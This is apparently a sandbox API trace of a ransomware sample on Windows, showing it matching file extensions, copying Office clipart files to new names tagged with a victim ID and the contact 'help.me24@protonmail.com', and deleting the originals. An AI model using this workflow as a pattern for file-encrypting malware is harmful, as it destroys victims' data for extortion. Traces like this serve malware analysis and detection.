	[0173.122] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0173.122] lstrlenW (lpString=".dbf") returned 4
	[0173.122] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0173.122] lstrlenW (lpString=".1cd") returned 4
	[0173.122] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68
	[0173.122] lstrlenW (lpString=".jpg") returned 4
	[0173.122] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.123] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0173.123] lstrlenW (lpString="J0106146.WMF") returned 12
	[0173.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0173.124] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=23548) returned 1
	[0173.124] CloseHandle (hObject=0x550) returned 1
	[0173.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf")) returned 0x220
	[0173.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0173.124] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.124] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0173.125] GetLastError () returned 0x0
	[0173.125] ReadFile (in: hFile=0x550, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x5bfc, lpOverlapped=0x0) returned 1
	[0173.157] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x5c00, lpOverlapped=0x0) returned 1
	[0173.159] ReadFile (in: hFile=0x550, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.159] WriteFile (in: hFile=0x4a8, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.159] SetEndOfFile (hFile=0x4a8) returned 1
	[0173.159] CloseHandle (hObject=0x4a8) returned 1
	[0173.159] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.159] SetEndOfFile (hFile=0x550) returned 1
	[0173.162] CloseHandle (hObject=0x550) returned 1
	[0173.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.163] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf")) returned 1
	[0173.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0173.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0173.164] lstrlenW (lpString=".doc") returned 4
	[0173.164] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.164] lstrlenW (lpString=".docx") returned 5
	[0173.164] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0173.164] lstrlenW (lpString=".pdf") returned 4
	[0173.164] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.164] lstrlenW (lpString=".xls") returned 4
	[0173.164] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.164] lstrlenW (lpString=".xlsx") returned 5
	[0173.164] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0173.164] lstrlenW (lpString=".ppt") returned 4
	[0173.164] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0173.164] lstrlenW (lpString=".zip") returned 4
	[0173.164] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.164] lstrlenW (lpString=".rar") returned 4
	[0173.164] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.164] lstrlenW (lpString=".bz2") returned 4
	[0173.164] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.164] lstrlenW (lpString=".7z") returned 3
	[0173.164] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0173.164] lstrlenW (lpString=".dbf") returned 4
	[0173.164] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0173.164] lstrlenW (lpString=".1cd") returned 4
	[0173.164] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0173.165] lstrlenW (lpString=".jpg") returned 4
	[0173.165] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0173.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0173.165] lstrlenW (lpString=".doc") returned 4
	[0173.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.165] lstrlenW (lpString=".docx") returned 5
	[0173.165] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0173.165] lstrlenW (lpString=".pdf") returned 4
	[0173.165] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.165] lstrlenW (lpString=".xls") returned 4
	[0173.165] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.165] lstrlenW (lpString=".xlsx") returned 5
	[0173.165] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0173.165] lstrlenW (lpString=".ppt") returned 4
	[0173.165] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0173.165] lstrlenW (lpString=".zip") returned 4
	[0173.165] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.165] lstrlenW (lpString=".rar") returned 4
	[0173.165] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.165] lstrlenW (lpString=".bz2") returned 4
	[0173.165] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.165] lstrlenW (lpString=".7z") returned 3
	[0173.165] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0173.165] lstrlenW (lpString=".dbf") returned 4
	[0173.165] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0173.165] lstrlenW (lpString=".1cd") returned 4
	[0173.165] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0173.166] lstrlenW (lpString=".jpg") returned 4
	[0173.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.166] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0173.166] lstrlenW (lpString="J0106222.WMF") returned 12
	[0173.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0173.231] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=19600) returned 1
	[0173.231] CloseHandle (hObject=0x540) returned 1
	[0173.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 0x220
	[0173.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0173.232] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.232] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0173.233] GetLastError () returned 0x0
	[0173.233] ReadFile (in: hFile=0x540, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x4c90, lpOverlapped=0x0) returned 1
	[0173.235] WriteFile (in: hFile=0x544, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x4ca0, lpOverlapped=0x0) returned 1
	[0173.237] ReadFile (in: hFile=0x540, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.237] WriteFile (in: hFile=0x544, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.237] SetEndOfFile (hFile=0x544) returned 1
	[0173.237] CloseHandle (hObject=0x544) returned 1
	[0173.237] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.237] SetEndOfFile (hFile=0x540) returned 1
	[0173.240] CloseHandle (hObject=0x540) returned 1
	[0173.240] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.241] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 1
	[0173.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0173.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0173.241] lstrlenW (lpString=".doc") returned 4
	[0173.241] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.241] lstrlenW (lpString=".docx") returned 5
	[0173.241] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0173.241] lstrlenW (lpString=".pdf") returned 4
	[0173.242] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.242] lstrlenW (lpString=".xls") returned 4
	[0173.242] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.242] lstrlenW (lpString=".xlsx") returned 5
	[0173.242] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0173.242] lstrlenW (lpString=".ppt") returned 4
	[0173.242] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0173.242] lstrlenW (lpString=".zip") returned 4
	[0173.242] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.242] lstrlenW (lpString=".rar") returned 4
	[0173.242] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.242] lstrlenW (lpString=".bz2") returned 4
	[0173.242] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.242] lstrlenW (lpString=".7z") returned 3
	[0173.242] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0173.242] lstrlenW (lpString=".dbf") returned 4
	[0173.242] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0173.242] lstrlenW (lpString=".1cd") returned 4
	[0173.242] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0173.242] lstrlenW (lpString=".jpg") returned 4
	[0173.242] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0173.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0173.242] lstrlenW (lpString=".doc") returned 4
	[0173.242] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.242] lstrlenW (lpString=".docx") returned 5
	[0173.242] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0173.242] lstrlenW (lpString=".pdf") returned 4
	[0173.243] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.243] lstrlenW (lpString=".xls") returned 4
	[0173.243] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.243] lstrlenW (lpString=".xlsx") returned 5
	[0173.243] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0173.243] lstrlenW (lpString=".ppt") returned 4
	[0173.243] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0173.243] lstrlenW (lpString=".zip") returned 4
	[0173.243] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.243] lstrlenW (lpString=".rar") returned 4
	[0173.243] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.243] lstrlenW (lpString=".bz2") returned 4
	[0173.243] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.243] lstrlenW (lpString=".7z") returned 3
	[0173.243] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0173.243] lstrlenW (lpString=".dbf") returned 4
	[0173.243] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0173.243] lstrlenW (lpString=".1cd") returned 4
	[0173.243] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF") returned 68
	[0173.243] lstrlenW (lpString=".jpg") returned 4
	[0173.243] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.243] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0173.243] lstrlenW (lpString="J0106958.WMF") returned 12
	[0173.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0173.244] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=13784) returned 1
	[0173.244] CloseHandle (hObject=0x540) returned 1
	[0173.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf")) returned 0x220
	[0173.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0173.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0173.245] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.245] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0173.246] GetLastError () returned 0x0
	[0173.246] ReadFile (in: hFile=0x540, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x35d8, lpOverlapped=0x0) returned 1
	[0173.395] WriteFile (in: hFile=0x544, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0x35e0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0x35e0, lpOverlapped=0x0) returned 1
	[0173.429] ReadFile (in: hFile=0x540, lpBuffer=0x3b7d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.429] WriteFile (in: hFile=0x544, lpBuffer=0x3b7d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b7d020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.430] SetEndOfFile (hFile=0x544) returned 1
	[0173.432] CloseHandle (hObject=0x544) returned 1
	[0173.433] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.433] SetEndOfFile (hFile=0x540) returned 1
	[0173.444] CloseHandle (hObject=0x540) returned 1
	[0173.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0173.449] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf")) returned 1
	[0173.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0173.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0173.450] lstrlenW (lpString=".doc") returned 4
	[0173.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.450] lstrlenW (lpString=".docx") returned 5
	[0173.450] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0173.450] lstrlenW (lpString=".pdf") returned 4
	[0173.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.450] lstrlenW (lpString=".xls") returned 4
	[0173.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.450] lstrlenW (lpString=".xlsx") returned 5
	[0173.450] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0173.450] lstrlenW (lpString=".ppt") returned 4
	[0173.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0173.450] lstrlenW (lpString=".zip") returned 4
	[0173.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.451] lstrlenW (lpString=".rar") returned 4
	[0173.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.451] lstrlenW (lpString=".bz2") returned 4
	[0173.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.451] lstrlenW (lpString=".7z") returned 3
	[0173.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0173.451] lstrlenW (lpString=".dbf") returned 4
	[0173.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0173.451] lstrlenW (lpString=".1cd") returned 4
	[0173.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0173.451] lstrlenW (lpString=".jpg") returned 4
	[0173.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0173.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0173.451] lstrlenW (lpString=".doc") returned 4
	[0173.451] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.451] lstrlenW (lpString=".docx") returned 5
	[0173.451] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0173.451] lstrlenW (lpString=".pdf") returned 4
	[0173.451] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.451] lstrlenW (lpString=".xls") returned 4
	[0173.452] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.452] lstrlenW (lpString=".xlsx") returned 5
	[0173.452] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0173.452] lstrlenW (lpString=".ppt") returned 4
	[0173.452] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68
	[0173.452] lstrlenW (lpString=".zip") returned 4
	[0173.452] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.452] lstrlenW (lpString=".rar") returned 4
	[0173.452] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.452] lstrlenW (lpString=".bz2") returned 4
	[0173.452] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
